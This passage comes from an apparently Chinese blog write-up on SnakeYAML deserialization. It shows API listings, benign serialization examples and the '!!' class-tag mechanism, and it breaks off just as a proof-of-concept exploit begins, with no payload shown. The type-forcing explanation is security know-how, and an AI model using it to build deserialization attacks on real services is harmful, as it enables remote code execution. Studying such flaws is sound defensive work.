255);">dumpAs</span>(<span style="box-sizing: border-box;color: rgb(0, 136, 85);">Object</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">data</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">Tag</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">rootTag</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">DumperOptions</span>.<span style="box-sizing: border-box;color: rgb(0, 0, 0);">FlowStyle</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">flowStyle</span>)</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(0, 0, 0);">将Java对象序列化为YAML字符串。</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(0, 136, 85);">String</span><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span style="box-sizing: border-box;color: rgb(0, 0, 255);">dumpAsMap</span>(<span style="box-sizing: border-box;color: rgb(0, 136, 85);">Object</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">data</span>)</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(0, 0, 0);">将Java对象序列化为YAML字符串。</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(152, 26, 26);">&lt;</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">T</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">&gt;</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">T</span><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">   </span><span style="box-sizing: border-box;color: rgb(0, 0, 255);">load</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">InputStream</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">io</span>)</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(0, 0, 0);">解析流中唯一的YAML文档，并生成相应的Java对象。</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(152, 26, 26);">&lt;</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">T</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">&gt;</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">T</span><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">   </span><span style="box-sizing: border-box;color: rgb(0, 0, 255);">load</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">Reader</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">io</span>)</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(0, 0, 0);">解析流中唯一的YAML文档，并生成相应的Java对象。</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(152, 26, 26);">&lt;</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">T</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">&gt;</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">T</span><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">   </span><span style="box-sizing: border-box;color: rgb(0, 0, 255);">load</span>(<span style="box-sizing: border-box;color: rgb(0, 136, 85);">String</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">yaml</span>)</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(0, 0, 0);">解析字符串中唯一的YAML文档，并生成相应的Java对象。</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(0, 0, 0);">Iterable</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">&lt;</span><span style="box-sizing: border-box;color: rgb(0, 136, 85);">Object</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">&gt;</span><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(0, 0, 255);">loadAll</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">InputStream</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">yaml</span>)</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(0, 0, 0);">解析流中的所有YAML文档，并生成相应的Java对象。</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(0, 0, 0);">Iterable</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">&lt;</span><span style="box-sizing: border-box;color: rgb(0, 136, 85);">Object</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">&gt;</span><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(0, 0, 255);">loadAll</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">Reader</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">yaml</span>)</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(0, 0, 0);">解析字符串中的所有YAML文档，并生成相应的Java对象。</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(0, 0, 0);">Iterable</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">&lt;</span><span style="box-sizing: border-box;color: rgb(0, 136, 85);">Object</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">&gt;</span><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(0, 0, 255);">loadAll</span>(<span style="box-sizing: border-box;color: rgb(0, 136, 85);">String</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">yaml</span>)</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(0, 0, 0);">解析字符串中的所有YAML文档，并生成相应的Java对象。</span></span></pre><p cid="n17" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><br/></p><h4 cid="n18" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">序列化</span></h4><p cid="n19" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">Myclass类：</span></p><pre spellcheck="false" lang="java" cid="n20" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(119, 0, 136);">package</span> <span style="box-sizing: border-box;color: rgb(0, 0, 255);">test</span>;</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(119, 0, 136);">public</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">class</span> <span style="box-sizing: border-box;color: rgb(0, 0, 255);">MyClass</span> {</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(0, 136, 85);">String</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">value</span>;</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(119, 0, 136);">public</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">MyClass</span>(<span style="box-sizing: border-box;color: rgb(0, 136, 85);">String</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">args</span>) {</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(0, 0, 0);">value</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">args</span>;</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    }</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(119, 0, 136);">public</span> <span style="box-sizing: border-box;color: rgb(0, 136, 85);">String</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">getValue</span>(){</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(119, 0, 136);">return</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">value</span>;</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    }</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">}</span></pre><p cid="n21" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><br/></p><p cid="n22" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">Test类：</span></p><pre spellcheck="false" lang="java" cid="n23" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(85, 85, 85);">@Test</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(119, 0, 136);">public</span>  <span style="box-sizing: border-box;color: rgb(0, 136, 85);">void</span> <span style="box-sizing: border-box;color: rgb(0, 0, 255);">test</span>() {</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(0, 0, 0);">MyClass</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">obj</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">new</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">MyClass</span>(<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;this is my data&#34;</span>);</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(0, 0, 0);">Map</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">&lt;</span><span style="box-sizing: border-box;color: rgb(0, 136, 85);">String</span>, <span style="box-sizing: border-box;color: rgb(0, 136, 85);">Object</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">&gt;</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">data</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">new</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">HashMap</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">&lt;</span><span style="box-sizing: border-box;color: rgb(0, 136, 85);">String</span>, <span style="box-sizing: border-box;color: rgb(0, 136, 85);">Object</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">&gt;</span>();</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(0, 0, 0);">data</span>.<span style="box-sizing: border-box;color: rgb(0, 0, 0);">put</span>(<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;MyClass&#34;</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">obj</span>);</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(0, 0, 0);">Yaml</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">yaml</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">new</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">Yaml</span>();</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(0, 136, 85);">String</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">output</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">yaml</span>.<span style="box-sizing: border-box;color: rgb(0, 0, 0);">dump</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">data</span>);</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(0, 0, 0);">System</span>.<span style="box-sizing: border-box;color: rgb(0, 0, 0);">out</span>.<span style="box-sizing: border-box;color: rgb(0, 0, 0);">println</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">output</span>);</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">}</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">}</span></pre><p cid="n24" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><br/></p><p cid="n25" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">结果：</span></p><pre spellcheck="false" lang="java" cid="n26" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(0, 0, 0);">MyClass</span>: <span style="box-sizing: border-box;color: rgb(152, 26, 26);">!!</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">test</span>.<span style="box-sizing: border-box;color: rgb(0, 0, 0);">MyClass</span> {}</span></pre><p cid="n27" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">前面的</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">!!</code></span><span md-inline="plain" style="box-sizing: border-box;">是用于强制类型转化，强制转换为</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">!!</code></span><span md-inline="plain" style="box-sizing: border-box;">后指定的类型，其实这个和Fastjson的</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">@type</code></span><span md-inline="plain" style="box-sizing: border-box;">有着异曲同工之妙。用于指定反序列化的全类名。</span></p><p cid="n28" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><br/></p><p cid="n29" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><br/></p><h4 cid="n30" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">反序列化</span></h4><p cid="n31" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><br/></p><p cid="n32" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">yaml文件：</span></p><pre spellcheck="false" lang="yaml" cid="n33" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(34, 17, 153);">firstName</span><span style="box-sizing: border-box;color: rgb(85, 85, 85);">: </span><span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;John&#34;</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(34, 17, 153);">lastName</span><span style="box-sizing: border-box;color: rgb(85, 85, 85);">: </span><span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;Doe&#34;</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(34, 17, 153);">age</span><span style="box-sizing: border-box;color: rgb(85, 85, 85);">: </span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">20</span></span></pre><p cid="n34" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">测试类：</span></p><pre spellcheck="false" lang="java" cid="n35" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(85, 85, 85);">@Test</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(119, 0, 136);">public</span>  <span style="box-sizing: border-box;color: rgb(0, 136, 85);">void</span> <span style="box-sizing: border-box;color: rgb(0, 0, 255);">test</span>(){</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(0, 0, 0);">Yaml</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">yaml</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">new</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">Yaml</span>();</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(0, 0, 0);">InputStream</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">resourceAsStream</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">this</span>.<span style="box-sizing: border-box;color: rgb(0, 0, 0);">getClass</span>().<span style="box-sizing: border-box;color: rgb(0, 0, 0);">getClassLoader</span>().<span style="box-sizing: border-box;color: rgb(0, 0, 0);">getResourceAsStream</span>(<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;test1.yaml&#34;</span>);</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(0, 136, 85);">Object</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">load</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">yaml</span>.<span style="box-sizing: border-box;color: rgb(0, 0, 0);">load</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">resourceAsStream</span>);</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(0, 0, 0);">System</span>.<span style="box-sizing: border-box;color: rgb(0, 0, 0);">out</span>.<span style="box-sizing: border-box;color: rgb(0, 0, 0);">println</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">load</span>);</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    }</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">}</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"></span></pre><p cid="n36" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">执行结果：</span></p><pre spellcheck="false" lang="json" cid="n37" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">{<span style="box-sizing: border-box;color: rgb(0, 0, 0);">firstName</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">John</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">lastName</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">Doe</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">age</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">20</span>}</span></pre><p cid="n38" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><br/></p><h2 cid="n39" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">0x02 漏洞分析</span></h2><p cid="n40" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><br/></p><h2 cid="n41" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">漏洞复现</span></h2><p cid="n42" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">首先还是先来复现一下漏洞，能进行利用后再进行分析利用过程。</span></p><p cid="n43" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">下面来看到一段POC代码：</span></p><pre spellcheck="false" lang="java" cid="n44" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(119, 0, 136);">public</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">class</span> <span style="box-sizing: border-box;color: rgb(0, 0, 255);">main</span> {</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: 